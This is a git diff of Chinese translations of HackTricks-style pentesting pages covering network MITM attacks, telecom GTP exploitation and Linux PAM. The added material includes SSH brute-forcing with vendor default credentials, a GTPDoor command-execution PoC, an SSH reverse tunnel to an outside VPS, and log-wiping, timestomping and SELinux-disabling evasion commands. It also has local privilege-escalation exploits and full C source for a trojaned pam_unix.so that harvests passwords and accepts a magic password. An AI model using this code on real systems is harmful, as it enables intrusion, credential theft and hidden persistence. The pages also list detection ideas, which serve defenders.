- **响应所有 DHCP 请求**:包括 `-R` 使服务器响应所有 DHCP 请求,但要注意这会产生噪音并可能被检测到。
|
||||
|
||||
@ -533,13 +533,13 @@ yersinia dhcp -attack 3 #More parameters are needed
|
||||
- 强制EAP-MD5身份验证以绕过TLS证书验证
|
||||
- 在使用集线器或类似设备进行身份验证时注入恶意网络流量
|
||||
|
||||
如果攻击者位于受害者与身份验证服务器之间,他可以尝试降级(如有必要)身份验证协议至EAP-MD5并捕获身份验证尝试。然后,他可以使用以下方法进行暴力破解:
|
||||
如果攻击者位于受害者与身份验证服务器之间,他可以尝试将身份验证协议降级(如有必要)到EAP-MD5并捕获身份验证尝试。然后,他可以使用以下方法进行暴力破解:
|
||||
```
|
||||
eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
|
||||
```
|
||||
### FHRP (GLBP & HSRP) 攻击 <a href="#id-6196" id="id-6196"></a>
|
||||
|
||||
**FHRP**(第一跳冗余协议)是一类旨在**创建热冗余路由系统**的网络协议。通过 FHRP,物理路由器可以组合成一个单一的逻辑设备,从而提高容错能力并帮助分配负载。
|
||||
**FHRP** (第一跳冗余协议) 是一类网络协议,旨在 **创建一个热冗余路由系统**。通过 FHRP,物理路由器可以组合成一个单一的逻辑设备,从而提高容错能力并帮助分配负载。
|
||||
|
||||
**思科系统工程师开发了两种 FHRP 协议,GLBP 和 HSRP。**
|
||||
|
||||
@ -549,7 +549,7 @@ glbp-and-hsrp-attacks.md
|
||||
|
||||
### RIP
|
||||
|
||||
已知存在三种版本的路由信息协议(RIP):RIP、RIPv2 和 RIPng。RIP 和 RIPv2 通过 UDP 的 520 端口向对等体发送数据报,而 RIPng 则通过 IPv6 多播向 UDP 521 端口广播数据报。RIPv2 引入了对 MD5 身份验证的支持。另一方面,RIPng 不包含原生身份验证;相反,它依赖于 IPv6 中可选的 IPsec AH 和 ESP 头。
|
||||
已知存在三种版本的路由信息协议 (RIP):RIP、RIPv2 和 RIPng。RIP 和 RIPv2 通过 UDP 的 520 端口向对等体发送数据报,而 RIPng 则通过 IPv6 多播向 UDP 521 端口广播数据报。RIPv2 引入了对 MD5 身份验证的支持。另一方面,RIPng 不包含原生身份验证;相反,它依赖于 IPv6 中可选的 IPsec AH 和 ESP 头。
|
||||
|
||||
- **RIP 和 RIPv2:** 通过 UDP 数据报在 520 端口进行通信。
|
||||
- **RIPng:** 利用 UDP 521 端口通过 IPv6 多播广播数据报。
|
||||
@ -558,30 +558,30 @@ glbp-and-hsrp-attacks.md
|
||||
|
||||
### EIGRP 攻击
|
||||
|
||||
**EIGRP(增强型内部网关路由协议)**是一种动态路由协议。**它是一种距离矢量协议。** 如果没有**身份验证**和被动接口的配置,**入侵者**可以干扰 EIGRP 路由并导致**路由表中毒**。此外,EIGRP 网络(换句话说,自治系统)**是扁平的,没有划分为任何区域**。如果**攻击者注入一条路由**,这条路由很可能会**传播**到整个自治 EIGRP 系统。
|
||||
**EIGRP (增强型内部网关路由协议)** 是一种动态路由协议。**它是一种距离矢量协议。** 如果没有 **身份验证** 和被动接口的配置,**入侵者** 可以干扰 EIGRP 路由并导致 **路由表中毒**。此外,EIGRP 网络(换句话说,自治系统) **是扁平的,没有划分为任何区域**。如果 **攻击者注入一条路由**,这条路由很可能会 **传播** 到整个自治 EIGRP 系统。
|
||||
|
||||
攻击 EIGRP 系统需要**与合法的 EIGRP 路由器建立邻居关系**,这打开了许多可能性,从基本侦察到各种注入。
|
||||
攻击 EIGRP 系统需要 **与合法的 EIGRP 路由器建立邻接关系**,这打开了许多可能性,从基本侦察到各种注入。
|
||||
|
||||
[**FRRouting**](https://frrouting.org/) 允许您实现**支持 BGP、OSPF、EIGRP、RIP 和其他协议的虚拟路由器。** 您只需在攻击者的系统上部署它,实际上可以假装成为路由域中的合法路由器。
|
||||
[**FRRouting**](https://frrouting.org/) 允许您实现 **支持 BGP、OSPF、EIGRP、RIP 和其他协议的虚拟路由器。** 您只需在攻击者的系统上部署它,实际上可以假装成为路由域中的合法路由器。
|
||||
|
||||
{{#ref}}
|
||||
eigrp-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
[**Coly**](https://code.google.com/p/coly/) 具有拦截 EIGRP(增强型内部网关路由协议)广播的能力。它还允许注入数据包,可用于更改路由配置。
|
||||
[**Coly**](https://code.google.com/p/coly/) 具有拦截 EIGRP (增强型内部网关路由协议) 广播的能力。它还允许注入数据包,可用于更改路由配置。
|
||||
|
||||
### OSPF
|
||||
|
||||
在开放最短路径优先(OSPF)协议中,**通常使用 MD5 身份验证来确保路由器之间的安全通信**。然而,这一安全措施可以通过像 Loki 和 John the Ripper 这样的工具被破坏。这些工具能够捕获和破解 MD5 哈希,暴露身份验证密钥。一旦获得该密钥,就可以用来引入新的路由信息。要配置路由参数并建立被破坏的密钥,分别使用 _Injection_ 和 _Connection_ 选项卡。
|
||||
在开放最短路径优先 (OSPF) 协议中,**通常使用 MD5 身份验证来确保路由器之间的安全通信**。然而,这一安全措施可能会被像 Loki 和 John the Ripper 这样的工具破坏。这些工具能够捕获和破解 MD5 哈希,暴露身份验证密钥。一旦获得该密钥,就可以用来引入新的路由信息。要配置路由参数并建立被破坏的密钥,分别使用 _Injection_ 和 _Connection_ 选项卡。
|
||||
|
||||
- **捕获和破解 MD5 哈希:** 使用 Loki 和 John the Ripper 等工具。
|
||||
- **配置路由参数:** 通过 _Injection_ 选项卡进行。
|
||||
- **设置被破坏的密钥:** 密钥在 _Connection_ 选项卡下配置。
|
||||
|
||||
### 其他通用工具和资源
|
||||
### 其他通用工具与资源
|
||||
|
||||
- [**Above**](https://github.com/c4s73r/Above):扫描网络流量并查找漏洞的工具
|
||||
- 您可以在[**这里**](https://github.com/Sab0tag3d/MITM-cheatsheet)找到一些**关于网络攻击的更多信息**。
|
||||
- 您可以在 [**这里**](https://github.com/Sab0tag3d/MITM-cheatsheet) 找到一些 **关于网络攻击的更多信息**。
|
||||
|
||||
## **欺骗**
|
||||
|
||||
@ -596,7 +596,7 @@ yersinia dhcp -attack 2 #More parameters are needed
|
||||
|
||||
### ICMPRedirect
|
||||
|
||||
ICMP重定向是指发送一个类型为1,代码为5的ICMP数据包,表示攻击者是到达某个IP的最佳方式。然后,当受害者想要联系该IP时,它将通过攻击者发送数据包。
|
||||
ICMP Redirect 是发送一个类型为 1,代码为 5 的 ICMP 数据包,表示攻击者是到达某个 IP 的最佳方式。然后,当受害者想要联系该 IP 时,它将通过攻击者发送数据包。
|
||||
```bash
|
||||
Ettercap
|
||||
icmp_redirect
|
||||
@ -635,14 +635,14 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
|
||||
```
|
||||
### [欺骗 LLMNR、NBT-NS 和 mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
在 DNS 查询失败时,Microsoft 系统依赖于 **链路本地多播名称解析 (LLMNR)** 和 **NetBIOS 名称服务 (NBT-NS)** 进行本地主机解析。同样,**Apple Bonjour** 和 **Linux 零配置** 实现利用 **多播 DNS (mDNS)** 在网络中发现系统。由于这些协议的未经身份验证的特性及其通过 UDP 广播消息的操作,攻击者可以利用它们将用户重定向到恶意服务。
|
||||
在 DNS 查询失败时,Microsoft 系统依赖于 **Link-Local Multicast Name Resolution (LLMNR)** 和 **NetBIOS Name Service (NBT-NS)** 进行本地主机解析。同样,**Apple Bonjour** 和 **Linux 零配置** 实现利用 **Multicast DNS (mDNS)** 在网络中发现系统。由于这些协议的无认证特性及其通过 UDP 广播消息的操作,攻击者可以利用它们将用户重定向到恶意服务。
|
||||
|
||||
您可以使用 Responder 冒充主机搜索的服务,发送虚假响应。\
|
||||
在这里阅读更多关于 [如何使用 Responder 冒充服务](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) 的信息。
|
||||
|
||||
### [欺骗 WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
浏览器通常使用 **Web 代理自动发现 (WPAD) 协议自动获取代理设置**。这涉及从服务器获取配置详细信息,具体通过一个 URL,例如 "http://wpad.example.org/wpad.dat"。客户端可以通过各种机制发现此服务器:
|
||||
浏览器通常使用 **Web Proxy Auto-Discovery (WPAD) 协议自动获取代理设置**。这涉及从服务器获取配置细节,具体通过一个 URL,例如 "http://wpad.example.org/wpad.dat"。客户端可以通过各种机制发现此服务器:
|
||||
|
||||
- 通过 **DHCP**,其中发现通过使用特殊代码 252 条目来促进。
|
||||
- 通过 **DNS**,这涉及在本地域中搜索标记为 _wpad_ 的主机名。
|
||||
@ -656,14 +656,14 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
|
||||
|
||||
### IPv6 邻居欺骗
|
||||
|
||||
此攻击与 ARP 欺骗非常相似,但在 IPv6 世界中。您可以让受害者认为 GW 的 IPv6 拥有攻击者的 MAC。
|
||||
此攻击与 ARP 欺骗非常相似,但在 IPv6 世界中。您可以让受害者认为网关的 IPv6 拥有攻击者的 MAC 地址。
|
||||
```bash
|
||||
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
|
||||
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
|
||||
```
|
||||
### IPv6 路由器广告欺骗/洪水攻击
|
||||
|
||||
一些操作系统默认通过网络中发送的 RA 数据包配置网关。要将攻击者声明为 IPv6 路由器,可以使用:
|
||||
某些操作系统默认通过网络中发送的 RA 数据包配置网关。要将攻击者声明为 IPv6 路由器,可以使用:
|
||||
```bash
|
||||
sysctl -w net.ipv6.conf.all.forwarding=1 4
|
||||
ip route add default via <ROUTER_IPv6> dev wlan0
|
||||
@ -671,7 +671,7 @@ fake_router6 wlan0 fe80::01/16
|
||||
```
|
||||
### IPv6 DHCP欺骗
|
||||
|
||||
默认情况下,一些操作系统尝试通过网络中的DHCPv6数据包来配置DNS。然后,攻击者可以发送一个DHCPv6数据包,将自己配置为DNS。DHCP还为受害者提供了一个IPv6地址。
|
||||
默认情况下,一些操作系统尝试通过网络中的DHCPv6数据包配置DNS。然后,攻击者可以发送一个DHCPv6数据包,将自己配置为DNS。DHCP还为受害者提供了一个IPv6地址。
|
||||
```bash
|
||||
dhcp6.spoof on
|
||||
dhcp6.spoof.domains <list of domains>
|
||||
@ -684,7 +684,7 @@ mitm6
|
||||
|
||||
### sslStrip
|
||||
|
||||
基本上,这个攻击的作用是,在**用户**尝试**访问**一个**HTTP**页面并**重定向**到**HTTPS**版本时,**sslStrip**将**保持**与**客户端的HTTP连接**和与**服务器的HTTPS连接**,这样它就能够以**明文**形式**嗅探**连接。
|
||||
基本上,这个攻击的作用是,在**用户**尝试**访问**一个**HTTP**页面并**重定向**到**HTTPS**版本时,**sslStrip**将**保持**与**客户端的HTTP连接**和与**服务器的HTTPS连接**,这样它就能够以**明文**方式**嗅探**连接。
|
||||
```bash
|
||||
apt-get install sslstrip
|
||||
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
|
||||
@ -693,16 +693,16 @@ sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
|
||||
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
|
||||
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
|
||||
```
|
||||
更多信息 [here](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf)。
|
||||
更多信息 [这里](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf)。
|
||||
|
||||
### sslStrip+ 和 dns2proxy 绕过 HSTS
|
||||
|
||||
**sslStrip+ 和 dns2proxy** 与 **sslStrip** 的**区别**在于它们会**重定向**例如 _**www.facebook.com**_ **到** _**wwww.facebook.com**_(注意**多了一个**“**w**”),并将**该域名的地址设置为攻击者 IP**。这样,**客户端**将**连接**到 _**wwww.facebook.com**_ **(攻击者)**,但在后台**sslstrip+**将**保持**与 **www.facebook.com** 的**真实连接**通过 https。
|
||||
**sslStrip+ 和 dns2proxy** 与 **sslStrip** 的**区别**在于它们会**重定向**例如 _**www.facebook.com**_ **到** _**wwww.facebook.com**_(注意**多出的**“**w**”),并将**该域名的地址设置为攻击者 IP**。这样,**客户端**将**连接**到 _**wwww.facebook.com**_ **(攻击者)**,但在后台**sslstrip+**将**保持**与 **www.facebook.com** 的**真实连接**通过 https。
|
||||
|
||||
此技术的**目标**是**避免 HSTS**,因为 _**wwww**.facebook.com_ **不会**被保存在**浏览器的缓存**中,因此浏览器会被欺骗以在 HTTP 中执行**facebook 认证**。\
|
||||
此技术的**目标**是**避免 HSTS**,因为 _**wwww**.facebook.com_ **不会**被保存在**浏览器的缓存**中,因此浏览器会被欺骗以**HTTP**进行**facebook 认证**。\
|
||||
请注意,为了执行此攻击,受害者必须最初尝试访问 [http://www.faceook.com](http://www.faceook.com),而不是 https。这可以通过修改 http 页面中的链接来实现。
|
||||
|
||||
更多信息 [here](https://www.bettercap.org/legacy/#hsts-bypass),[here](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) 和 [here](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly)。
|
||||
更多信息 [这里](https://www.bettercap.org/legacy/#hsts-bypass)、[这里](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) 和 [这里](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly)。
|
||||
|
||||
**sslStrip 或 sslStrip+ 不再有效。这是因为浏览器中预先保存了 HSTS 规则,因此即使用户第一次访问“重要”域名,他也会通过 HTTPS 访问。此外,请注意,预先保存的规则和其他生成的规则可以使用标志** [**`includeSubdomains`**](https://hstspreload.appspot.com) **,因此之前的 _**wwww.facebook.com**_ **示例将不再有效,因为** _**facebook.com**_ **使用 HSTS 和 `includeSubdomains`。**
|
||||
|
||||
@ -725,7 +725,7 @@ openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
|
||||
# Generate the PEM file by just appending the key and certificate files:
|
||||
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
|
||||
```
|
||||
#### 使用证书进行监听
|
||||
#### 使用证书监听
|
||||
```
|
||||
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
|
||||
```
|
||||
@ -736,7 +736,7 @@ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FI
|
||||
有时,如果客户端检查CA是否有效,您可以**提供由CA签署的其他主机名的证书**。\
|
||||
另一个有趣的测试是**提供请求的主机名的自签名证书**。
|
||||
|
||||
其他测试内容包括尝试用一个有效的证书签署该证书,但该证书并不是有效的CA。或者使用有效的公钥,强制使用一种算法,如Diffie-Hellman(不需要用真实私钥解密的算法),当客户端请求真实私钥的探测(如哈希)时,发送一个假探测,并期望客户端不检查这个。
|
||||
其他测试内容包括尝试用一个有效的证书签署该证书,但该证书并不是有效的CA。或者使用有效的公钥,强制使用一种算法,如Diffie-Hellman(不需要用真实私钥解密任何内容的算法),当客户端请求真实私钥的探测(如哈希)时,发送一个假探测,并期望客户端不检查这个。
|
||||
|
||||
## Bettercap
|
||||
```bash
|
||||
@ -774,7 +774,7 @@ ARP数据包用于发现网络中正在使用的IP。计算机必须为每个可
|
||||
|
||||
### **mDNS(多播DNS)**
|
||||
|
||||
Bettercap每隔X毫秒发送一个MDNS请求,询问**\_services\_.dns-sd.\_udp.local**,看到此数据包的机器通常会回答此请求。然后,它只搜索响应“services”的机器。
|
||||
Bettercap每隔X毫秒发送一个MDNS请求,询问**\_services\_.dns-sd.\_udp.local**,看到此数据包的机器通常会回答此请求。然后,它只搜索回答“services”的机器。
|
||||
|
||||
**工具**
|
||||
|
||||
@ -784,7 +784,7 @@ Bettercap每隔X毫秒发送一个MDNS请求,询问**\_services\_.dns-sd.\_udp
|
||||
|
||||
### **NBNS(NetBios名称服务器)**
|
||||
|
||||
Bettercap向端口137/UDP广播数据包,询问名称“CKAAAAAAAAAAAAAAAAAAAAAAAAAAA”。
|
||||
Bettercap广播数据包到137/UDP端口,询问名称“CKAAAAAAAAAAAAAAAAAAAAAAAAAAA”。
|
||||
|
||||
### **SSDP(简单服务发现协议)**
|
||||
|
||||
@ -794,6 +794,12 @@ Bettercap广播SSDP数据包,搜索各种服务(UDP端口1900)。
|
||||
|
||||
Bettercap广播WSD数据包,搜索服务(UDP端口3702)。
|
||||
|
||||
### 电信/移动核心(GTP)利用
|
||||
|
||||
{{#ref}}
|
||||
telecom-network-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
@ -801,6 +807,4 @@ Bettercap广播WSD数据包,搜索服务(UDP端口3702)。
|
||||
- **实用物联网黑客:攻击物联网的权威指南。作者:Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
|
||||
- [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -0,0 +1,140 @@
|
||||
# Telecom Network Exploitation (GTP / Roaming Environments)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> 移动核心协议(GPRS隧道协议 - GTP)通常穿越半信任的GRX/IPX漫游骨干网。由于它们在几乎没有身份验证的情况下通过普通的UDP传输,**在电信边界内的任何立足点通常可以直接访问核心信令平面**。以下笔记收集了在野外观察到的针对SGSN/GGSN、PGW/SGW和其他EPC节点的攻击技巧。
|
||||
|
||||
## 1. Recon & Initial Access
|
||||
|
||||
### 1.1 Default OSS / NE Accounts
|
||||
一个令人惊讶的大量供应商网络元素出厂时带有硬编码的SSH/Telnet用户,如`root:admin`、`dbadmin:dbadmin`、`cacti:cacti`、`ftpuser:ftpuser`,……一个专用的字典显著提高了暴力破解的成功率:
|
||||
```bash
|
||||
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
||||
```
|
||||
如果设备仅暴露管理 VRF,请首先通过跳跃主机进行转发(请参见下面的“SGSN Emu Tunnel”部分)。
|
||||
|
||||
### 1.2 GRX/IPX 内部的主机发现
|
||||
大多数 GRX 运营商仍然允许 **ICMP echo** 在骨干网中传输。将 `masscan` 与内置的 `gtpv1` UDP 探测器结合使用,以快速映射 GTP-C 监听器:
|
||||
```bash
|
||||
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
|
||||
```
|
||||
## 2. 枚举订阅者 – `cordscan`
|
||||
|
||||
以下 Go 工具构造 **GTP-C 创建 PDP 上下文请求** 数据包并记录响应。每个回复揭示了当前为查询的 IMSI 提供服务的 **SGSN / MME**,有时还会显示订阅者访问的 PLMN。
|
||||
```bash
|
||||
# Build
|
||||
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
|
||||
# Usage (typical):
|
||||
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
|
||||
```
|
||||
关键标志:
|
||||
- `--imsi` 目标用户的IMSI
|
||||
- `--oper` 家乡 / HNI (MCC+MNC)
|
||||
- `-w` 将原始数据包写入pcap
|
||||
|
||||
可以修补二进制文件中的重要常量以扩大扫描范围:
|
||||
```
|
||||
pingtimeout = 3 // seconds before giving up
|
||||
pco = 0x218080
|
||||
common_tcp_ports = "22,23,80,443,8080"
|
||||
```
|
||||
## 3. 通过 GTP 执行代码 – `GTPDoor`
|
||||
|
||||
`GTPDoor` 是一个小型 ELF 服务,**绑定 UDP 2123 并解析每个传入的 GTP-C 数据包**。当有效负载以预共享标签开头时,其余部分会被解密(AES-128-CBC)并通过 `/bin/sh -c` 执行。标准输出/标准错误会在 **Echo Response** 消息中被外泄,以便不创建任何外部会话。
|
||||
|
||||
最小 PoC 数据包(Python):
|
||||
```python
|
||||
import gtpc, Crypto.Cipher.AES as AES
|
||||
key = b"SixteenByteKey!"
|
||||
cmd = b"id;uname -a"
|
||||
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
|
||||
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
||||
```
|
||||
检测:
|
||||
* 任何向 SGSN IP 发送 **不平衡的回声请求** 的主机
|
||||
* GTP 版本标志设置为 1,而消息类型 = 1(回声) – 偏离规范
|
||||
|
||||
## 4. 通过核心进行枢转
|
||||
|
||||
### 4.1 `sgsnemu` + SOCKS5
|
||||
`OsmoGGSN` 提供一个 SGSN 模拟器,能够 **建立与真实 GGSN/PGW 的 PDP 上下文**。 一旦协商完成,Linux 将接收到一个新的 `tun0` 接口,可以从漫游对等体访问。
|
||||
```bash
|
||||
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
||||
-APN internet -c 1 -d
|
||||
ip route add 172.16.0.0/12 dev tun0
|
||||
microsocks -p 1080 & # internal SOCKS proxy
|
||||
```
|
||||
通过适当的防火墙发夹,隧道绕过仅信号的VLAN,直接进入**数据平面**。
|
||||
|
||||
### 4.2 通过53端口的SSH反向隧道
|
||||
DNS在漫游基础设施中几乎总是开放的。将内部SSH服务暴露给您的VPS,监听:53,然后从家中返回:
|
||||
```bash
|
||||
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||||
```
|
||||
检查 VPS 上是否启用了 `GatewayPorts yes`。
|
||||
|
||||
## 5. 隐蔽通道
|
||||
|
||||
| 通道 | 传输 | 解码 | 备注 |
|
||||
|---------|-----------|----------|-------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4 字节密钥 + 14 字节块 (XOR) | 纯被动监听器,无出站流量 |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (密钥 = `funnyAndHappy`) 编码在 A 记录八位组中 | 监视 `*.nodep` 子域 |
|
||||
| GTP – `GTPDoor` | UDP 2123 | 私有 IE 中的 AES-128-CBC blob | 与合法的 GTP-C 聊天混合 |
|
||||
|
||||
所有植入物都实现了看门狗,**timestomp** 它们的二进制文件,并在崩溃时重新生成。
|
||||
|
||||
## 6. 防御规避备忘单
|
||||
```bash
|
||||
# Remove attacker IPs from wtmp
|
||||
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
|
||||
|
||||
# Disable bash history
|
||||
export HISTFILE=/dev/null
|
||||
|
||||
# Masquerade as kernel thread
|
||||
echo 0 > /proc/$$/autogroup # hide from top/htop
|
||||
printf '\0' > /proc/$$/comm # appears as [kworker/1]
|
||||
|
||||
touch -r /usr/bin/time /usr/bin/chargen # timestomp
|
||||
setenforce 0 # disable SELinux
|
||||
```
|
||||
## 7. 在遗留 NE 上的权限提升
|
||||
```bash
|
||||
# DirtyCow – CVE-2016-5195
|
||||
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
|
||||
|
||||
# PwnKit – CVE-2021-4034
|
||||
python3 PwnKit.py
|
||||
|
||||
# Sudo Baron Samedit – CVE-2021-3156
|
||||
python3 exploit_userspec.py
|
||||
```
|
||||
清理提示:
|
||||
```bash
|
||||
userdel firefart 2>/dev/null
|
||||
rm -f /tmp/sh ; history -c
|
||||
```
|
||||
## 8. 工具箱
|
||||
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – 在前面的部分中描述的自定义工具。
|
||||
* `FScan` : 内部网络 TCP 扫描 (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `Responder` : LLMNR/NBT-NS 恶意 WPAD
|
||||
* `Microsocks` + `ProxyChains` : 轻量级 SOCKS5 代理
|
||||
* `FRP` (≥0.37) : NAT 穿透 / 资产桥接
|
||||
|
||||
---
|
||||
## 检测思路
|
||||
1. **任何设备除了 SGSN/GGSN 建立 Create PDP Context Requests**。
|
||||
2. **接收来自内部 IP 的非标准端口 (53, 80, 443) 的 SSH 握手**。
|
||||
3. **频繁的 Echo 请求没有相应的 Echo 响应** – 可能表明 GTPDoor 信标。
|
||||
4. **高频率的 ICMP 回显应答流量,带有大的非零标识符/序列字段**。
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [Palo Alto Unit42 – 全球电信网络的渗透](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
- 3GPP TS 29.060 – GPRS 隧道协议 (v16.4.0)
|
||||
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -4,7 +4,7 @@
|
||||
|
||||
### 基本信息
|
||||
|
||||
**PAM (Pluggable Authentication Modules)** 作为一种安全机制,**验证试图访问计算机服务的用户身份**,根据各种标准控制他们的访问。它类似于数字门卫,确保只有授权用户可以使用特定服务,同时可能限制他们的使用以防止系统过载。
|
||||
**PAM (可插拔认证模块)** 作为一种安全机制,**验证试图访问计算机服务的用户身份**,根据各种标准控制他们的访问。它类似于数字门卫,确保只有授权用户可以使用特定服务,同时可能限制他们的使用以防止系统过载。
|
||||
|
||||
#### 配置文件
|
||||
|
||||
@ -29,7 +29,7 @@ session required /lib/security/pam_unix_session.so
|
||||
这些领域或管理组包括 **auth**、**account**、**password** 和 **session**,每个领域负责身份验证和会话管理过程的不同方面:
|
||||
|
||||
- **Auth**:验证用户身份,通常通过提示输入密码。
|
||||
- **Account**:处理账户验证,检查如组成员资格或时间限制等条件。
|
||||
- **Account**:处理账户验证,检查诸如组成员资格或时间限制等条件。
|
||||
- **Password**:管理密码更新,包括复杂性检查或字典攻击防护。
|
||||
- **Session**:管理服务会话开始或结束时的操作,例如挂载目录或设置资源限制。
|
||||
|
||||
@ -44,10 +44,65 @@ session required /lib/security/pam_unix_session.so
|
||||
|
||||
#### 示例场景
|
||||
|
||||
在具有多个 auth 模块的设置中,过程遵循严格的顺序。如果 `pam_securetty` 模块发现登录终端未授权,则阻止 root 登录,但由于其“required”状态,所有模块仍会被处理。`pam_env` 设置环境变量,可能有助于用户体验。`pam_ldap` 和 `pam_unix` 模块协同工作以验证用户,`pam_unix` 尝试使用先前提供的密码,从而提高身份验证方法的效率和灵活性。
|
||||
在具有多个身份验证模块的设置中,过程遵循严格的顺序。如果 `pam_securetty` 模块发现登录终端未授权,则阻止 root 登录,但由于其“required”状态,所有模块仍会被处理。`pam_env` 设置环境变量,可能有助于用户体验。`pam_ldap` 和 `pam_unix` 模块协同工作以验证用户,`pam_unix` 尝试使用先前提供的密码,从而提高身份验证方法的效率和灵活性。
|
||||
|
||||
### 参考文献
|
||||
## 后门 PAM – 钩住 `pam_unix.so`
|
||||
|
||||
在高价值的 Linux 环境中,一个经典的持久性技巧是 **用木马化的替代品替换合法的 PAM 库**。因为每次 SSH / 控制台登录最终都会调用 `pam_unix.so:pam_sm_authenticate()`,所以几行 C 代码就足以捕获凭据或实现 *magic* 密码绕过。
|
||||
|
||||
### 编译备忘单
|
||||
```c
|
||||
#define _GNU_SOURCE
|
||||
#include <security/pam_modules.h>
|
||||
#include <dlfcn.h>
|
||||
#include <stdio.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
|
||||
static int (*orig)(pam_handle_t *, int, int, const char **);
|
||||
static const char *MAGIC = "Sup3rS3cret!";
|
||||
|
||||
int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
|
||||
const char *user, *pass;
|
||||
pam_get_user(pamh, &user, NULL);
|
||||
pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);
|
||||
|
||||
/* Magic pwd → immediate success */
|
||||
if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;
|
||||
|
||||
/* Credential harvesting */
|
||||
int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600);
|
||||
dprintf(fd, "%s:%s\n", user, pass);
|
||||
close(fd);
|
||||
|
||||
/* Fall back to original function */
|
||||
if(!orig) {
|
||||
orig = dlsym(RTLD_NEXT, "pam_sm_authenticate");
|
||||
}
|
||||
return orig(pamh, flags, argc, argv);
|
||||
}
|
||||
```
|
||||
编译和隐蔽替换:
|
||||
```bash
|
||||
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
|
||||
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
|
||||
mv pam_unix.so /lib/security/pam_unix.so
|
||||
chmod 644 /lib/security/pam_unix.so # keep original perms
|
||||
touch -r /bin/ls /lib/security/pam_unix.so # timestomp
|
||||
```
|
||||
### OpSec Tips
|
||||
1. **原子覆盖** – 写入临时文件并 `mv` 到目标位置,以避免半写入的库锁定 SSH。
|
||||
2. 日志文件放置如 `/usr/bin/.dbus.log` 与合法桌面工件混合。
|
||||
3. 保持符号导出相同 (`pam_sm_setcred` 等),以避免 PAM 错误行为。
|
||||
|
||||
### Detection
|
||||
* 比较 `pam_unix.so` 的 MD5/SHA256 与发行版包。
|
||||
* 检查 `/lib/security/` 下的世界可写或不寻常的所有权。
|
||||
* `auditd` 规则: `-w /lib/security/pam_unix.so -p wa -k pam-backdoor`。
|
||||
|
||||
### References
|
||||
|
